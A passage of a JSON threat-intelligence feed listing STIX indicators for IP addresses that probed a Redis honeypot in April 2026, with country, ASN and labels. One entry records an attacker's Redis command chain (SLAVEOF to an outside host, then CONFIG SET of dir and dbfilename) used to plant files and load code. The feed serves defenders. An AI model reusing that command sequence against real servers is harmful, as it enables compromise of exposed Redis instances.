      "created": "2026-04-04T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=22; ports=6379; cc=RU; asn=210259; asn_org=LLC Applied Computational Technologies; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T05:25:10.000Z",
      "valid_until": "2026-05-06T05:25:09.000Z"
    },
    {
      "created": "2026-04-04T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--ea1554dc-4906-4d3a-a319-f8523e09a7ea",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '101.200.242.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T06:25:10.000Z",
      "valid_until": "2026-05-06T06:25:09.000Z"
    },
    {
      "created": "2026-04-04T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=34; ports=6379; cc=US; asn=142002; asn_org=Scloud Pte Ltd; redis_cmds=SLAVEOF NO ONE,SLAVEOF 128.199.146.217 60115,CONFIG SET dir /tmp/,config set rdbcompression no,config set dbfilename dump.rdb; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--4c9649e1-6664-4d9b-981e-c891cd2d00e6",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-04-04T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.154.235.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T06:25:10.000Z",
      "valid_until": "2026-05-06T06:25:09.000Z"
    },
    {
      "created": "2026-04-04T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=VN; asn=18403; asn_org=FPT Telecom Company; redis_cmd_hits=0",
      "id": "indicator--3372bbd4-b894-4120-8a91-c66faba7e60d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '42.118.202.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T06:25:10.000Z",
      "valid_until": "2026-05-06T06:25:09.000Z"
    },
    {
      "created": "2026-04-04T07:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--9846c45c-98eb-4aac-9eb5-5582c69beca3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T07:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.48.174.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:25:09.000Z",
      "valid_until": "2026-05-06T07:25:09.000Z"
    },
    {
      "created": "2026-04-04T07:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=24445; asn_org=Henan Mobile Communications Co.,Ltd; redis_cmd_hits=0",
      "id": "indicator--d4272000-5618-4949-972e-6b0edd270a5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.90.133.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:25:09.000Z",
      "valid_until": "2026-05-06T07:25:09.000Z"
    },
    {
      "created": "2026-04-04T10:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=KR; asn=31898; asn_org=Oracle Corporation; redis_cmd_hits=0",
      "id": "indicator--a15b0204-6127-4617-af39-bb90f99b2240",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T10:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.56.175.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:25:11.000Z",
      "valid_until": "2026-05-06T10:25:09.000Z"
    },
    {
      "created": "2026-04-04T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--79e41076-6a47-466c-b133-a8e601349b20",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '81.68.255.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T12:25:10.000Z",
      "valid_until": "2026-05-06T12:25:09.000Z"
    },
    {
      "created": "2026-04-04T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--b4ad24d1-a469-4a23-aa2f-0e3b3e50c981",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.102.92.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:25:11.000Z",
      "valid_until": "2026-05-06T13:25:10.000Z"
    },
    {
      "created": "2026-04-04T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--c2760d42-3810-4bdd-b5b6-dbbe8697c7dd",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.193.119.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:25:11.000Z",
      "valid_until": "2026-05-06T13:25:10.000Z"
    },
    {
      "created": "2026-04-04T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:25:11.000Z",
      "valid_until": "2026-05-06T13:25:10.000Z"
    },
    {
      "created": "2026-04-04T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--238ba3ee-a0a2-4478-bf38-72d5ce5a3534",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:25:11.000Z",
      "valid_until": "2026-05-06T13:25:10.000Z"
    },
    {
      "created": "2026-04-04T14:25:31.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=CA; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--d1cc8a2b-5c96-4fa7-ba89-70dd05be3e47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T14:25:31.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.175.205.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T14:25:31.000Z",
      "valid_until": "2026-05-06T14:25:09.000Z"
    },
    {
      "created": "2026-04-04T14:25:31.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; redis_cmd_hits=0",
      "id": "indicator--04fda896-e167-44b0-b209-1200623a9270",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T14:25:31.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '50.232.194.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T14:25:31.000Z",
      "valid_until": "2026-05-06T14:25:09.000Z"
    },
    {
      "created": "2026-04-04T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=28; ports=6379; cc=GB; asn=201002; asn_org=PebbleHost Ltd; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--137b29b5-e297-43ce-a988-6dca1b0e2c7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T17:25:10.000Z",
      "valid_until": "2026-05-06T17:25:09.000Z"
    },
    {
      "created": "2026-04-04T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--69d09757-011d-468a-8a4e-beeff75414b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.202.118.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T21:25:10.000Z",
      "valid_until": "2026-05-06T21:25:04.000Z"
    },
    {
      "created": "2026-04-04T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--923e630e-83ac-408c-a78e-0ab8969af41a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '115.190.97.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:25:10.000Z",
      "valid_until": "2026-05-06T23:25:09.000Z"
    },
    {
      "created": "2026-04-04T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=JP; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--76583976-535d-482c-bb3e-6bedca55fc99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.221.136.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:25:10.000Z",
      "valid_until": "2026-05-06T23:25:09.000Z"
    },
    {
      "created": "2026-04-05T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--719367e2-a0e2-44d9-bc36-eaef04be074a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:25:10.000Z",
      "valid_until": "2026-05-07T01:25:08.000Z"
    },
    {
      "created": "2026-04-05T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--ed9e9017-bb61-40d1-ae14-1c05d2ae2f84",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-05T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:25:10.000Z",
      "valid_until": "2026-05-07T02:25:09.000Z"
    },
    {
      "created": "2026-04-05T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--d79aa355-b87e-4f04-a7b6-1a79306608f7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-05T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.221.179.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:25:10.000Z",
      "valid_until": "2026-05-07T02:25:09.000Z"
    },
    {
      "created": "2026-04-05T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--ae1a0a5b-c5bb-4195-802b-b33c9cb4d467",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.97.5.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:25:10.000Z",
      "valid_until": "2026-05-07T02:25:09.000Z"
    },
    {
      "created": "2026-04-05T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=86; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0; cmd=\"SSH-2.0-Go  \"",
      "id": "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '16.58.56.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T04:25:10.000Z",
      "valid_until": "2026-05-07T04:25:09.000Z"
    },
    {
      "created": "2026-04-05T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=59078; asn_org=Yunify Technologies Inc.; redis_cmd_hits=0",
      "id": "indicator--36a83e2d-8b69-4473-ae65-8bc90650f71d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-05T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '139.198.30.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T08:25:10.000Z",
      "valid_until": "2026-05-07T08:25:09.000Z"
    },
    {
      "created": "2026-04-05T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=IN; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--7807ee21-7c6f-454e-bbf3-8e8852e462bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.207.238.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T08:25:10.000Z",
      "valid_until": "2026-05-07T08:25:09.000Z"
    },
    {
      "created": "2026-04-05T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--8e65190c-eae2-45f1-a97e-b1f8b34160e5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-05T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '49.115.217.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T08:25:10.000Z",
      "valid_until": "2026-05-07T08:25:09.000Z"
    },
    {
      "created": "2026-04-05T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=VN; asn=38732; asn_org=CMC Telecom Infrastructure Company; redis_cmd_hits=0",
      "id": "indicator--6b0373a2-445c-4a28-904e-48be1bcf046a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.21.150.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T10:25:10.000Z",
      "valid_until": "2026-05-07T10:25:09.000Z"
    },
    {
      "created": "2026-04-05T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--97368846-d340-45b8-a746-39f0f9e62ec0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '36.133.118.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T10:25:10.000Z",
      "valid_until": "2026-05-07T10:25:09.000Z"
    },
    {
      "created": "2026-04-05T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--6adbe385-e24f-4c68-9de1-14fa828dd28e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-05T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '180.76.114.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:25:10.000Z",
      "valid_until": "2026-05-07T11:25:09.000Z"
    },
    {
      "created": "2026-04-05T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--d08e9e16-4029-40ca-be4f-1d3d6f829098",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '216.180.246.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:25:10.000Z",
      "valid_until": "2026-05-07T11:25:09.000Z"
    },
    {
      "created": "2026-04-05T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--de55690b-9079-4f69-8b4b-79953eca45fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.93.195.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:25:10.000Z",
      "valid_until": "2026-05-07T13:25:09.000Z"
    },
    {
      "created": "2026-04-05T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--16e5a08f-2a40-409b-8616-9132c9c7f8b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.230.214.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:25:10.000Z",
      "valid_until": "2026-05-07T13:25:09.000Z"
    },
    {
      "created": "2026-04-05T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--3d63b6ae-7547-4baf-9a4e-df68837181cc",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-05T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.104.19.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:25:10.000Z",
      "valid_until": "2026-05-07T13:25:09.000Z"
    },
    {
      "created": "2026-04-05T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=32; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--8a4d0218-6f8b-460b-88bc-3ccd87cf41f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:25:10.000Z",
      "valid_until": "2026-05-07T13:25:09.000Z"
    },
    {
      "created": "2026-04-05T16:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=AR; asn=27823; asn_org=Dattatec.com; redis_cmd_hits=0",
      "id": "indicator--782c6cc0-193d-41af-a6ab-f31fb3257a07",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-05T16:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.97.45.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:25:11.000Z",
      "valid_until": "2026-05-07T16:25:09.000Z"
    },
    {
      "created": "2026-04-05T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--d5697f8e-ca16-4b0b-a44f-41a88d5abcc0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.168.123.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T17:25:10.000Z",
      "valid_until": "2026-05-07T17:25:09.000Z"
    },
    {
      "created": "2026-04-05T18:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--7c9d434e-6ceb-4cdd-af53-c613f7f86a76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.84.143.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:25:11.000Z",
      "valid_until": "2026-05-07T18:25:10.000Z"
    },
    {
      "created": "2026-04-05T19:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--20878be8-78e9-4a2a-b258-45d3319d36bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T19:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.202.117.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T19:25:11.000Z",
      "valid_until": "2026-05-07T19:25:09.000Z"
    },
    {
      "created": "2026-04-05T19:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--071d8ad7-7da7-4ebd-8a9c-079ca8e5120a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T19:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T19:25:11.000Z",
      "valid_until": "2026-05-07T19:25:09.000Z"
    },
    {
      "created": "2026-04-05T19:25:11.000Z",
